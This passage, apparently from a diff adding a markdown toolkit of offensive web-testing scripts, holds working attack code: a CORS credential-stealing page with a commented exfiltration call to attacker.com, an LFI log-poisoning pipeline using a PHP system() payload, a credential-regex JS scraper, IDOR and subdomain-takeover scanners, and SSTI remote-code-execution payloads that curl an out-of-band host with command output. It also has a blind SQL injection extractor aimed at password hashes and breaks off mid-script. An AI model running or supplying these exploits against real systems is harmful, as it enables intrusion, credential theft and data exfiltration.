439
|
+
html_payload = f'''
|
|
440
|
+
<!DOCTYPE html>
|
|
441
|
+
<html>
|
|
442
|
+
<head><title>CORS Exploit</title></head>
|
|
443
|
+
<body>
|
|
444
|
+
<h2>CORS Exploit against {target_endpoint}</h2>
|
|
445
|
+
<textarea id="output" style="width: 100%; height: 300px;"></textarea>
|
|
446
|
+
<script>
|
|
447
|
+
var req = new XMLHttpRequest();
|
|
448
|
+
req.onload = reqListener;
|
|
449
|
+
req.open("GET", "{target_endpoint}", true);
|
|
450
|
+
// CRITICAL: withCredentials must be true to steal authenticated session data
|
|
451
|
+
req.withCredentials = true;
|
|
452
|
+
req.send();
|
|
453
|
+
|
|
454
|
+
function reqListener() {{
|
|
455
|
+
document.getElementById("output").value = this.responseText;
|
|
456
|
+
// Exfiltrate to attacker server
|
|
457
|
+
// fetch("https://attacker.com/log?data=" + btoa(this.responseText));
|
|
458
|
+
}}
|
|
459
|
+
</script>
|
|
460
|
+
</body>
|
|
461
|
+
</html>
|
|
462
|
+
'''
|
|
463
|
+
|
|
464
|
+
with open("output/cors_poc.html", "w") as f:
|
|
465
|
+
f.write(html_payload)
|
|
466
|
+
print("[+] Wrote output/cors_poc.html. Host this locally and open in a browser authenticated to the target to verify.")
|
|
467
|
+
```
|
|
468
|
+
|
|
469
|
+
**11. Advanced Local File Inclusion (LFI) to RCE Pipeline:**
|
|
470
|
+
```bash
|
|
471
|
+
# Bash One-Liner Pipeline for LFI escalation
|
|
472
|
+
target="https://target.com/download?file="
|
|
473
|
+
|
|
474
|
+
# 1. Try to read /etc/passwd using various encodings and depth
|
|
475
|
+
for depth in {1..8}; do
|
|
476
|
+
traverse=$(printf "../"%.0s $(seq 1 $depth))
|
|
477
|
+
curl -s "${target}${traverse}etc/passwd" | grep -q "root:x" && echo "[+] Vulnerable depth: $depth (${traverse}etc/passwd)"
|
|
478
|
+
done
|
|
479
|
+
|
|
480
|
+
# 2. If vulnerable, attempt to read log files to poison them (LFI -> RCE)
|
|
481
|
+
# Common log locations: /var/log/nginx/access.log, /var/log/apache2/access.log, /proc/self/environ, /var/log/auth.log
|
|
482
|
+
# Example: Injecting PHP payload into User-Agent, then reading the log file
|
|
483
|
+
curl -s -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/"
|
|
484
|
+
curl -s "${target}../../../../../../var/log/nginx/access.log&cmd=id" | grep "uid="
|
|
485
|
+
```
|
|
486
|
+
|
|
487
|
+
---
|
|
488
|
+
|
|
489
|
+
## Recon Scripts
|
|
490
|
+
|
|
491
|
+
**12. JavaScript Deep Secret Extractor:**
|
|
492
|
+
```python
|
|
493
|
+
# tools/js_secret_extractor.py
|
|
494
|
+
# Downloads ALL JS files from target, scans for secrets, internal endpoints, and API schemas.
|
|
495
|
+
# Requires: pip install httpx[http2] --break-system-packages
|
|
496
|
+
#
|
|
497
|
+
# HOW IT WORKS:
|
|
498
|
+
# 1. Reads JS URLs from output/urls_all_deduped.txt (from katana/gospider/gau)
|
|
499
|
+
# 2. Fetches all JS files concurrently (HTTP/2)
|
|
500
|
+
# 3. Runs 30+ regex patterns against each file
|
|
501
|
+
# 4. Outputs findings sorted by severity to output/js_secrets.txt
|
|
502
|
+
|
|
503
|
+
import asyncio, httpx, re, json
|
|
504
|
+
from pathlib import Path
|
|
505
|
+
|
|
506
|
+
JS_URLS_FILE = "output/urls_all_deduped.txt"
|
|
507
|
+
OUTPUT_FILE = "output/js_secrets.txt"
|
|
508
|
+
SESSION_COOKIE = "" # Optional: "session=VALUE" for auth-gated JS
|
|
509
|
+
|
|
510
|
+
PATTERNS = {
|
|
511
|
+
# Cloud / infra credentials
|
|
512
|
+
"AWS_AccessKey": r"AKIA[0-9A-Z]{16}",
|
|
513
|
+
"AWS_SecretKey": r"(?i)aws.{0,20}secret.{0,20}['\"][0-9a-zA-Z/+]{40}['\"]",
|
|
514
|
+
"GCP_ServiceAccount":r"\"type\":\s*\"service_account\"",
|
|
515
|
+
"Azure_ClientSecret":r"(?i)azure.{0,30}client.{0,10}secret.{0,10}['\"][a-zA-Z0-9~_.\-]{34,}['\"]",
|
|
516
|
+
# API keys
|
|
517
|
+
"Generic_ApiKey": r"(?i)(api[_-]?key|apikey|api[_-]?secret)['\"]?\s*[:=]\s*['\"][a-zA-Z0-9_\-]{20,}['\"]",
|
|
518
|
+
"Stripe_Key": r"(?:r|s)k_(?:live|test)_[0-9a-zA-Z]{24,}",
|
|
519
|
+
"Twilio_SID": r"AC[a-zA-Z0-9]{32}",
|
|
520
|
+
"Slack_Token": r"xox[baprs]-[0-9]{10,13}-[0-9]{10,13}-[a-zA-Z0-9]{24,}",
|
|
521
|
+
"GitHub_Token": r"gh[pousr]_[A-Za-z0-9_]{36,}",
|
|
522
|
+
"SendGrid_Key": r"SG\.[a-zA-Z0-9_\-]{22}\.[a-zA-Z0-9_\-]{43}",
|
|
523
|
+
"Firebase_Key": r"AIza[0-9A-Za-z\-_]{35}",
|
|
524
|
+
# Auth secrets
|
|
525
|
+
"JWT_Secret_Hint": r"(?i)(jwt|token)[_-]?secret['\"]?\s*[:=]\s*['\"][^'\"]{8,}['\"]",
|
|
526
|
+
"Password_In_Code": r"(?i)(password|passwd|pwd)['\"]?\s*[:=]\s*['\"][^'\"]{6,}['\"]",
|
|
527
|
+
"Basic_Auth_URL": r"https?://[^:]+:[^@]+@[a-zA-Z0-9.\-]+",
|
|
528
|
+
# Internal endpoints
|
|
529
|
+
"Internal_IP": r"(?:https?://)?(?:10\.|172\.(?:1[6-9]|2\d|3[01])\.|192\.168\.)\d+\.\d+(?::\d+)?(?:/[^\s'\"]*)?",
|
|
530
|
+
"Localhost_Endpoint":r"(?:https?://)?localhost(?::\d+)?/[^\s'\"]+",
|
|
531
|
+
"Internal_API_Path": r"['\"](?:/(?:internal|admin|debug|metrics|actuator|health|management|v\d+/internal)[/a-zA-Z0-9_\-?=&]*)['\"]",
|
|
532
|
+
"GraphQL_Endpoint": r"['\"](?:/graphql|/gql|/api/graphql)['\"]",
|
|
533
|
+
# S3 / storage
|
|
534
|
+
"S3_Bucket": r"[a-z0-9.\-]{3,63}\.s3(?:[.-][a-z0-9-]+)?\.amazonaws\.com",
|
|
535
|
+
"GCS_Bucket": r"storage\.googleapis\.com/[a-zA-Z0-9_\-]+",
|
|
536
|
+
# Debug / dev artifacts
|
|
537
|
+
"Debug_Flag": r"(?i)(debug|devMode|isDev|isLocal|enableLogging)\s*[:=]\s*true",
|
|
538
|
+
"Hardcoded_UUID": r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",
|
|
539
|
+
"TODO_FIXME": r"(?i)(?:TODO|FIXME|HACK|XXX):?\s*.{10,80}",
|
|
540
|
+
# Crypto hints
|
|
541
|
+
"RSA_Private_Key": r"-----BEGIN (?:RSA )?PRIVATE KEY-----",
|
|
542
|
+
"Private_Key_Hint": r"(?i)private[_-]?key['\"]?\s*[:=]\s*['\"](?!null)[^'\"]{10,}['\"]",
|
|
543
|
+
}
|
|
544
|
+
|
|
545
|
+
async def fetch_js(client: httpx.AsyncClient, url: str) -> tuple[str, str]:
|
|
546
|
+
try:
|
|
547
|
+
headers = {"Cookie": SESSION_COOKIE} if SESSION_COOKIE else {}
|
|
548
|
+
r = await client.get(url.strip(), headers=headers, timeout=10.0,
|
|
549
|
+
follow_redirects=True)
|
|
550
|
+
if "javascript" in r.headers.get("content-type", "") or url.endswith(".js"):
|
|
551
|
+
return url, r.text
|
|
552
|
+
except Exception:
|
|
553
|
+
pass
|
|
554
|
+
return url, ""
|
|
555
|
+
|
|
556
|
+
async def main():
|
|
557
|
+
js_urls = [u for u in Path(JS_URLS_FILE).read_text().splitlines()
|
|
558
|
+
if u.strip() and (".js" in u or "bundle" in u or "chunk" in u)]
|
|
559
|
+
print(f"[*] Scanning {len(js_urls)} JS files...")
|
|
560
|
+
|
|
561
|
+
findings: list[dict] = []
|
|
562
|
+
async with httpx.AsyncClient(http2=True, verify=False) as client:
|
|
563
|
+
tasks = [fetch_js(client, u) for u in js_urls]
|
|
564
|
+
results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
565
|
+
|
|
566
|
+
for url, content in results:
|
|
567
|
+
if not content:
|
|
568
|
+
continue
|
|
569
|
+
for pattern_name, regex in PATTERNS.items():
|
|
570
|
+
for match in re.finditer(regex, content):
|
|
571
|
+
findings.append({
|
|
572
|
+
"pattern": pattern_name,
|
|
573
|
+
"url": url,
|
|
574
|
+
"match": match.group()[:200],
|
|
575
|
+
"line": content[:match.start()].count("\n") + 1,
|
|
576
|
+
})
|
|
577
|
+
|
|
578
|
+
# Sort: cloud/auth keys first
|
|
579
|
+
priority = ["AWS", "GCP", "Azure", "JWT", "Password", "RSA", "Private"]
|
|
580
|
+
findings.sort(key=lambda f: not any(p in f["pattern"] for p in priority))
|
|
581
|
+
|
|
582
|
+
with open(OUTPUT_FILE, "w") as out:
|
|
583
|
+
for f in findings:
|
|
584
|
+
line = f"[{f['pattern']}] {f['url']}:{f['line']} → {f['match']}\n"
|
|
585
|
+
out.write(line)
|
|
586
|
+
print(line.strip())
|
|
587
|
+
|
|
588
|
+
print(f"\n[*] {len(findings)} findings → {OUTPUT_FILE}")
|
|
589
|
+
|
|
590
|
+
asyncio.run(main())
|
|
591
|
+
```
|
|
592
|
+
|
|
593
|
+
**13. IDOR Sequential Scanner (Diff-Based):**
|
|
594
|
+
```python
|
|
595
|
+
# tools/idor_scanner.py
|
|
596
|
+
# Scans a range of object IDs as an authenticated user and compares response sizes.
|
|
597
|
+
# Baseline = your own resource. Different size = IDOR candidate.
|
|
598
|
+
#
|
|
599
|
+
# HOW IT WORKS:
|
|
600
|
+
# 1. Fetch your own object (YOUR_ID) → establish baseline length
|
|
601
|
+
# 2. Fetch IDs in range [START..END] using your session
|
|
602
|
+
# 3. If response length differs from baseline (not 403/404) → flag as IDOR
|
|
603
|
+
# 4. Save flagged IDs for manual verification
|
|
604
|
+
|
|
605
|
+
import asyncio, httpx, json
|
|
606
|
+
from pathlib import Path
|
|
607
|
+
|
|
608
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
609
|
+
BASE_URL = "https://target.com/api/v1/users/{id}/profile"
|
|
610
|
+
SESSION_COOKIE = "session=YOUR_COOKIE"
|
|
611
|
+
YOUR_ID = 1000 # Your own object ID (establishes baseline)
|
|
612
|
+
ID_START = 990
|
|
613
|
+
ID_END = 1010
|
|
614
|
+
CONCURRENCY = 10 # Parallel requests — keep low to avoid rate-limits
|
|
615
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
616
|
+
|
|
617
|
+
HEADERS = {"Cookie": SESSION_COOKIE, "Accept": "application/json"}
|
|
618
|
+
|
|
619
|
+
async def fetch(client: httpx.AsyncClient, obj_id: int) -> dict:
|
|
620
|
+
url = BASE_URL.format(id=obj_id)
|
|
621
|
+
try:
|
|
622
|
+
r = await client.get(url, headers=HEADERS, timeout=8.0)
|
|
623
|
+
return {"id": obj_id, "status": r.status_code, "len": len(r.text), "body": r.text[:300]}
|
|
624
|
+
except Exception as e:
|
|
625
|
+
return {"id": obj_id, "status": -1, "len": 0, "body": str(e)}
|
|
626
|
+
|
|
627
|
+
async def main():
|
|
628
|
+
semaphore = asyncio.Semaphore(CONCURRENCY)
|
|
629
|
+
async def bounded(client, oid):
|
|
630
|
+
async with semaphore:
|
|
631
|
+
return await fetch(client, oid)
|
|
632
|
+
|
|
633
|
+
async with httpx.AsyncClient(http2=True, verify=False) as client:
|
|
634
|
+
# Establish baseline
|
|
635
|
+
baseline = await fetch(client, YOUR_ID)
|
|
636
|
+
print(f"[*] Baseline (id={YOUR_ID}): status={baseline['status']} len={baseline['len']}")
|
|
637
|
+
|
|
638
|
+
ids = list(range(ID_START, ID_END + 1))
|
|
639
|
+
tasks = [bounded(client, oid) for oid in ids if oid != YOUR_ID]
|
|
640
|
+
results = await asyncio.gather(*tasks)
|
|
641
|
+
|
|
642
|
+
idor_candidates = []
|
|
643
|
+
for r in results:
|
|
644
|
+
if r["status"] in (200, 201) and abs(r["len"] - baseline["len"]) < 500:
|
|
645
|
+
# Same shape as your own object → likely readable → IDOR
|
|
646
|
+
idor_candidates.append(r)
|
|
647
|
+
print(f" [!!!] IDOR CANDIDATE id={r['id']} status={r['status']} len={r['len']}")
|
|
648
|
+
print(f" {r['body'][:150]}")
|
|
649
|
+
elif r["status"] not in (401, 403, 404, -1):
|
|
650
|
+
print(f" [?] id={r['id']} status={r['status']} len={r['len']} (unexpected, verify manually)")
|
|
651
|
+
|
|
652
|
+
out = Path("output/idor_candidates.json")
|
|
653
|
+
out.write_text(json.dumps(idor_candidates, indent=2))
|
|
654
|
+
print(f"\n[*] {len(idor_candidates)} IDOR candidates → {out}")
|
|
655
|
+
|
|
656
|
+
asyncio.run(main())
|
|
657
|
+
```
|
|
658
|
+
|
|
659
|
+
**14. Subdomain Takeover Fingerprint Checker:**
|
|
660
|
+
```python
|
|
661
|
+
# tools/takeover_checker.py
|
|
662
|
+
# For each subdomain, resolves CNAME chain and checks if the final destination
|
|
663
|
+
# matches known dangling fingerprints (404 pages from Heroku, GitHub Pages, etc.)
|
|
664
|
+
# Run AFTER subfinder/amass: reads output/subdomains.txt
|
|
665
|
+
#
|
|
666
|
+
# Requires: pip install dnspython httpx --break-system-packages
|
|
667
|
+
|
|
668
|
+
import asyncio, httpx, dns.resolver, json
|
|
669
|
+
from pathlib import Path
|
|
670
|
+
|
|
671
|
+
SUBDOMAINS_FILE = "output/subdomains.txt"
|
|
672
|
+
OUTPUT_FILE = "output/takeover_candidates.txt"
|
|
673
|
+
|
|
674
|
+
# Fingerprints: service name → substring that appears in the dangling 404 page
|
|
675
|
+
FINGERPRINTS = {
|
|
676
|
+
"GitHub Pages": ["There isn't a GitHub Pages site here", "For root URLs"],
|
|
677
|
+
"Heroku": ["No such app", "herokucdn.com/error-pages"],
|
|
678
|
+
"Netlify": ["Not Found - Request ID"],
|
|
679
|
+
"Fastly": ["Fastly error: unknown domain"],
|
|
680
|
+
"Shopify": ["Sorry, this shop is currently unavailable"],
|
|
681
|
+
"Tumblr": ["Whatever you were looking for doesn't live here"],
|
|
682
|
+
"Squarespace": ["This domain is not set up on Squarespace"],
|
|
683
|
+
"WP Engine": ["The site you were looking for couldn't be found"],
|
|
684
|
+
"Surge.sh": ["project not found"],
|
|
685
|
+
"Readme.io": ["Project doesnt exist... yet!"],
|
|
686
|
+
"Zendesk": ["Help Center Closed"],
|
|
687
|
+
"AWS S3": ["NoSuchBucket", "The specified bucket does not exist"],
|
|
688
|
+
"AWS CloudFront": ["The request could not be satisfied", "CloudFront"],
|
|
689
|
+
"Azure": ["404 Web Site not found"],
|
|
690
|
+
"Fly.io": ["404 Not Found"],
|
|
691
|
+
"Vercel": ["The deployment could not be found"],
|
|
692
|
+
}
|
|
693
|
+
|
|
694
|
+
def resolve_cname(domain: str) -> str | None:
|
|
695
|
+
try:
|
|
696
|
+
answers = dns.resolver.resolve(domain, "CNAME")
|
|
697
|
+
return str(answers[0].target).rstrip(".")
|
|
698
|
+
except Exception:
|
|
699
|
+
return None
|
|
700
|
+
|
|
701
|
+
async def check(client: httpx.AsyncClient, subdomain: str) -> dict | None:
|
|
702
|
+
subdomain = subdomain.strip()
|
|
703
|
+
if not subdomain:
|
|
704
|
+
return None
|
|
705
|
+
cname = resolve_cname(subdomain)
|
|
706
|
+
for scheme in ("https", "http"):
|
|
707
|
+
try:
|
|
708
|
+
r = await client.get(f"{scheme}://{subdomain}", timeout=6.0, follow_redirects=True)
|
|
709
|
+
body = r.text
|
|
710
|
+
for service, fingerprints in FINGERPRINTS.items():
|
|
711
|
+
if any(fp in body for fp in fingerprints):
|
|
712
|
+
return {"subdomain": subdomain, "cname": cname,
|
|
713
|
+
"service": service, "status": r.status_code}
|
|
714
|
+
except Exception:
|
|
715
|
+
pass
|
|
716
|
+
return None
|
|
717
|
+
|
|
718
|
+
async def main():
|
|
719
|
+
subdomains = Path(SUBDOMAINS_FILE).read_text().splitlines()
|
|
720
|
+
print(f"[*] Checking {len(subdomains)} subdomains for takeover...")
|
|
721
|
+
|
|
722
|
+
results = []
|
|
723
|
+
async with httpx.AsyncClient(verify=False, http2=True) as client:
|
|
724
|
+
tasks = [check(client, s) for s in subdomains]
|
|
725
|
+
for coro in asyncio.as_completed(tasks):
|
|
726
|
+
r = await coro
|
|
727
|
+
if r:
|
|
728
|
+
results.append(r)
|
|
729
|
+
print(f" [!!!] TAKEOVER: {r['subdomain']} → {r['service']} (CNAME: {r['cname']})")
|
|
730
|
+
|
|
731
|
+
Path(OUTPUT_FILE).write_text("\n".join(
|
|
732
|
+
f"{r['subdomain']} | {r['service']} | CNAME={r['cname']}" for r in results
|
|
733
|
+
))
|
|
734
|
+
print(f"[*] {len(results)} takeover candidates → {OUTPUT_FILE}")
|
|
735
|
+
|
|
736
|
+
asyncio.run(main())
|
|
737
|
+
```
|
|
738
|
+
|
|
739
|
+
---
|
|
740
|
+
|
|
741
|
+
## Advanced Exploit Scripts
|
|
742
|
+
|
|
743
|
+
**15. SSTI Auto-Fingerprint & Data Extraction:**
|
|
744
|
+
```python
|
|
745
|
+
# tools/ssti_exploit.py
|
|
746
|
+
# Detects Server-Side Template Injection and identifies the template engine.
|
|
747
|
+
# Then extracts OS-level data using engine-specific payloads.
|
|
748
|
+
#
|
|
749
|
+
# HOW IT WORKS:
|
|
750
|
+
# 1. Inject math expressions that different engines evaluate differently
|
|
751
|
+
# 2. Fingerprint engine from evaluated result
|
|
752
|
+
# 3. Use engine-specific RCE payload to extract /etc/passwd or run id
|
|
753
|
+
# 4. Verify with OOB callback if response is blind
|
|
754
|
+
|
|
755
|
+
import requests, urllib.parse, re
|
|
756
|
+
|
|
757
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
758
|
+
TARGET_URL = "https://target.com/api/search"
|
|
759
|
+
PARAM = "q" # Parameter to inject into
|
|
760
|
+
METHOD = "GET" # GET or POST
|
|
761
|
+
SESSION_COOKIE = "session=VALUE"
|
|
762
|
+
OOB_HOST = "YOUR.interactsh.com" # For blind SSTI
|
|
763
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
764
|
+
|
|
765
|
+
HEADERS = {"Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded"}
|
|
766
|
+
|
|
767
|
+
# Phase 1: Engine fingerprint probes
|
|
768
|
+
# Math expression → expected output per engine
|
|
769
|
+
FINGERPRINT_PROBES = [
|
|
770
|
+
("{{7*7}}", "49", "Jinja2 / Twig / Smarty"),
|
|
771
|
+
("${7*7}", "49", "FreeMarker / Thymeleaf / Java EL"),
|
|
772
|
+
("#{7*7}", "49", "Ruby ERB / Groovy"),
|
|
773
|
+
("<%= 7*7 %>", "49", "Ruby ERB"),
|
|
774
|
+
("{{7*'7'}}", "7777777", "Jinja2 (Python)"),
|
|
775
|
+
("${{<%[%'\"}}%\\.", None, "WAF/parser confusion probe"),
|
|
776
|
+
]
|
|
777
|
+
|
|
778
|
+
# Phase 2: Engine-specific RCE payloads
|
|
779
|
+
RCE_PAYLOADS = {
|
|
780
|
+
"Jinja2 (Python)": [
|
|
781
|
+
"{{''.__class__.__mro__[1].__subclasses__()[401](['id'],stdout=-1).communicate()[0].decode()}}",
|
|
782
|
+
# Safer: read /etc/passwd
|
|
783
|
+
"{{''.__class__.__mro__[1].__subclasses__()[401](['cat','/etc/passwd'],stdout=-1).communicate()[0].decode()}}",
|
|
784
|
+
],
|
|
785
|
+
"FreeMarker / Thymeleaf / Java EL": [
|
|
786
|
+
'<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}',
|
|
787
|
+
"${T(java.lang.Runtime).getRuntime().exec('id')}",
|
|
788
|
+
],
|
|
789
|
+
"Twig (PHP)": [
|
|
790
|
+
"{{['id']|map('system')|join}}",
|
|
791
|
+
"{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}",
|
|
792
|
+
],
|
|
793
|
+
"Smarty (PHP)": [
|
|
794
|
+
"{php}echo shell_exec('id');{/php}",
|
|
795
|
+
"{$smarty.template_object->smarty->_tpl_vars}",
|
|
796
|
+
],
|
|
797
|
+
"Ruby ERB": [
|
|
798
|
+
"<%= `id` %>",
|
|
799
|
+
"<%= IO.popen('id').read %>",
|
|
800
|
+
],
|
|
801
|
+
}
|
|
802
|
+
|
|
803
|
+
OOB_PAYLOADS = {
|
|
804
|
+
"Jinja2 (Python)": f"{{{{''.__class__.__mro__[1].__subclasses__()[401](['curl','http://{OOB_HOST}/?d=$(id|base64)'],stdout=-1).communicate()}}}}",
|
|
805
|
+
"FreeMarker / Thymeleaf / Java EL": f'<#assign ex="freemarker.template.utility.Execute"?new()>${{ex("curl http://{OOB_HOST}/?d=$(id|base64)")}}',
|
|
806
|
+
}
|
|
807
|
+
|
|
808
|
+
def send(payload: str) -> str:
|
|
809
|
+
encoded = urllib.parse.quote(payload)
|
|
810
|
+
try:
|
|
811
|
+
if METHOD == "GET":
|
|
812
|
+
r = requests.get(f"{TARGET_URL}?{PARAM}={encoded}",
|
|
813
|
+
headers=HEADERS, timeout=8, verify=False)
|
|
814
|
+
else:
|
|
815
|
+
r = requests.post(TARGET_URL, data={PARAM: payload},
|
|
816
|
+
headers=HEADERS, timeout=8, verify=False)
|
|
817
|
+
return r.text
|
|
818
|
+
except Exception as e:
|
|
819
|
+
return str(e)
|
|
820
|
+
|
|
821
|
+
def main():
|
|
822
|
+
engine = None
|
|
823
|
+
|
|
824
|
+
# Phase 1: Fingerprint
|
|
825
|
+
print("[*] Phase 1: Fingerprinting template engine...")
|
|
826
|
+
for probe, expected, label in FINGERPRINT_PROBES:
|
|
827
|
+
body = send(probe)
|
|
828
|
+
if expected and expected in body:
|
|
829
|
+
engine = label
|
|
830
|
+
print(f" [+] Engine detected: {engine} (probe: {probe!r} → found {expected!r})")
|
|
831
|
+
break
|
|
832
|
+
elif expected is None and probe[:5] in body:
|
|
833
|
+
print(f" [?] Parser confusion response for {probe!r} — review manually")
|
|
834
|
+
|
|
835
|
+
if not engine:
|
|
836
|
+
print(" [-] No engine fingerprinted. Try OOB probes or manual payloads.")
|
|
837
|
+
return
|
|
838
|
+
|
|
839
|
+
# Phase 2: RCE
|
|
840
|
+
print(f"\n[*] Phase 2: RCE via {engine}...")
|
|
841
|
+
payloads = RCE_PAYLOADS.get(engine, [])
|
|
842
|
+
for payload in payloads:
|
|
843
|
+
body = send(payload)
|
|
844
|
+
uid_match = re.search(r"uid=\d+\([^)]+\)", body)
|
|
845
|
+
if uid_match:
|
|
846
|
+
print(f" [!!!] RCE CONFIRMED: {uid_match.group()}")
|
|
847
|
+
print(f" Payload: {payload}")
|
|
848
|
+
break
|
|
849
|
+
elif "root:" in body or ":/bin/bash" in body:
|
|
850
|
+
print(f" [!!!] /etc/passwd read confirmed via {payload[:60]}")
|
|
851
|
+
break
|
|
852
|
+
else:
|
|
853
|
+
# Phase 3: Blind OOB
|
|
854
|
+
print(f"\n[*] Phase 3: Blind OOB for {engine}...")
|
|
855
|
+
oob = OOB_PAYLOADS.get(engine)
|
|
856
|
+
if oob:
|
|
857
|
+
send(oob)
|
|
858
|
+
print(f" [*] OOB payload sent → check http://{OOB_HOST} for callbacks")
|
|
859
|
+
|
|
860
|
+
main()
|
|
861
|
+
```
|
|
862
|
+
|
|
863
|
+
**16. SQLi Boolean Blind Bit-Extractor:**
|
|
864
|
+
```python
|
|
865
|
+
# tools/sqli_blind_extractor.py
|
|
866
|
+
# Extracts data character-by-character using boolean blind SQLi.
|
|
867
|
+
# Uses binary search (7 requests per char) instead of linear (95 requests per char).
|
|
868
|
+
# Works with any DB where you can inject a boolean predicate.
|
|
869
|
+
#
|
|
870
|
+
# HOW IT WORKS:
|
|
871
|
+
# 1. Confirm boolean oracle works (true_len != false_len)
|
|
872
|
+
# 2. Extract string length
|
|
873
|
+
# 3. Extract each character via binary search on ASCII range [32..127]
|
|
874
|
+
# 4. Saves extracted data to output/sqli_extracted.txt
|
|
875
|
+
|
|
876
|
+
import requests, time
|
|
877
|
+
from pathlib import Path
|
|
878
|
+
|
|
879
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
880
|
+
TARGET_URL = "https://target.com/items"
|
|
881
|
+
PARAM = "id"
|
|
882
|
+
SESSION_COOKIE = "session=VALUE"
|
|
883
|
+
BASE_VALUE = "1" # Baseline value that returns normal response
|
|
884
|
+
|
|
885
|
+
# Payload template — {expr} is replaced with the boolean expression
|
|
886
|
+
# Adapt for your DB:
|
|
887
|
+
# MySQL: AND ({expr})-- -
|
|
888
|
+
# PostgreSQL: AND ({expr})--
|
|
889
|
+
# MSSQL: AND ({expr})--
|
|
890
|
+
PAYLOAD_TPL = "{base} AND ({expr})-- -"
|
|
891
|
+
|
|
892
|
+
# What to extract — adapt the SQL expression:
|
|
893
|
+
# Current DB: SELECT database()
|
|
894
|
+
# Current user: SELECT user()
|
|
895
|
+
# Table name: SELECT table_name FROM information_schema.tables LIMIT 1
|
|
896
|
+
# Password hash: SELECT password FROM users WHERE username='admin' LIMIT 1
|
|
897
|
+
EXTRACT_EXPR = "SELECT database()"
|
|
898
|
+
MAX_LENGTH = 64 # Max expected string length
|
|
899
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
900
|
+
|
|
901
|
+
HEADERS = {"Cookie": SESSION_COOKIE}
|
|
902
|
+
|
|
903
|
+
def send(expr: str) -> int:
|
|
904
|
+
payload = PAYLOAD_TPL.format(base=BASE_VALUE, expr=expr)
|
|
905
|
+
try:
|
|
906
|
+
r = requests.get(TARGET_URL, params={PARAM: payload},
|
|
907
|
+
headers=HEADERS, timeout=8, verify=False)
|
|
908
|
+
return len(r.text)
|
|
909
|
+
except Exception:
|
|
910
|
+
return -1
|
|
911
|
+
|
|
912
|
+
def verify_oracle() -> tuple[int, int]:
|
|
913
|
+
true_len = send("1=1")
|
|
914
|
+
false_len = send("1=2")
|
|
915
|
+
return true_len, false_len
|
|
916
|
+
|
|
917
|
+
def is_true(expr: str, true_len: int) -> bool:
|
|
918
|
+
return send(expr) == true_len
|
|
919
|
+
|
|
920
|
+
def extract_length(true_len: int) -> int:
|
|
921
|
+
for length in range(1, MAX_LENGTH + 1):
|
|
922
|
+
if is_true(f"LENGTH(({EXTRACT_EXPR}))={length}", true_len):
|
|
923
|
+
return length
|
|
924
|
+
return 0
|
|
925
|
+
|
|
926
|
+
def extract_char(pos: int, true_len: int) -> str:
|
|
927
|
+
lo, hi = 32, 127
|
|
928
|
+
while lo < hi:
|
|
929
|
+
mid = (lo + hi) // 2
|
|
930
|
+
if is_true(f"ASCII(SUBSTRING(({EXTRACT_EXPR}),{pos},1))>{mid}", true_len):
|
|
931
|
+
lo = mid + 1
|
|
932
|
+
else:
|
|
933
|
+
hi = mid
|
|
934
|
+
return chr(lo) if 32 <= lo <= 127 else "?"
|
|
935
|
+
|
|
936
|
+
def main():
|
|
937
|
+
print("[*] Verifying boolean oracle...")
|
|
938
|
+
true_len, false_len = verify_oracle()
|
|
939
|
+
print(f" TRUE response length: {true_len}")
|
|
940
|
+
print(f" FALSE response length: {false_len}")
|
|
941
|
+
|
|
942
|
+
if true_len == false_len or true_len == -1:
|
|
943
|
+
print("[-] Oracle not confirmed — responses are identical. Check your payload template.")
|
|
944
|
+
return
|
|
945
|
+
print("[+] Oracle confirmed!")
|
|
946
|
+
|
|
947
|
+
print(f"\n[*] Extracting length of: {EXTRACT_EXPR}")
|
|
948
|
+
length = extract_length(true_len)
|
|
949
|
+
print(f" Length = {length}")
|
|
950
|
+
|
|
951
|
+
if length == 0:
|
|
952
|
+
print("[-] Could not determine length — try increasing MAX_LENGTH")
|
|
953
|
+
return
|
|
954
|
+
|
|
955
|
+
print(f"\n[*] Extracting {length} characters (binary search ~7 req/char = ~{length*7} requests)...")
|
|
956
|
+
result = ""
|
|
957
|
+
for pos in range(1, length + 1):
|
|
958
|
+
char = extract_char(pos, true_len)
|
|
959
|
+
result += char
|
|
960
|
+
print(f" pos {pos:02d}/{length}: {char!r} → so far: {result!r}")
|
|
961
|
+
|
|
962
|
+
print(f"\n[!!!] EXTRACTED: {result}")
|
|
963
|
+
Path("output/sqli_extracted.txt").write_text(f"Query: {EXTRACT_EXPR}\nResult: {result}\n")
|
|
964
|
+
|
|
965
|
+
main()
|
|
966
|
+
```
|
|
967
|
+
|
|
968
|
+
**17. HTTP Request Smuggling Prober (CL.TE & TE.CL):**
|
|
969
|
+
```python
|
|
970
|
+
# tools/smuggling_prober.py
|
|
971
|
+
# Detects HTTP Request Smuggling via timing and differential response oracles.
|
|
972
|
+
# Tests both CL.TE and TE.CL variants.
|
|
973
|
+
#
|
|
974
|
+
# HOW IT WORKS:
|
|
975
|
+
# CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding.
|
|
976
|
+
# → Send a request whose CL body hides a partial second request.
|
|
977
|
+
# → If back-end processes TE, it leaves the leftover bytes as the start
|
|
978
|
+
# of the NEXT request → next response reveals the poisoned prefix.
|
|
979
|
+
# TE.CL: Opposite — front-end uses TE, back-end uses CL.
|
|
980
|
+
#
|
|
981
|
+
# INDICATORS:
|
|
982
|
+
# - Timing: delayed response (back-end waits for rest of incomplete TE body)
|
|
983
|
+
# - Differential: next request returns unexpected response (poisoned)
|
|
984
|
+
#
|
|
985
|
+
# Requires: pip install requests --break-system-packages
|
|
986
|
+
# Use RAW sockets to send ambiguous headers (requests sanitizes them).
|
|
987
|
+
|
|
988
|
+
import socket, ssl, time
|
|
989
|
+
|
|
990
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
991
|
+
HOST = "target.com"
|
|
992
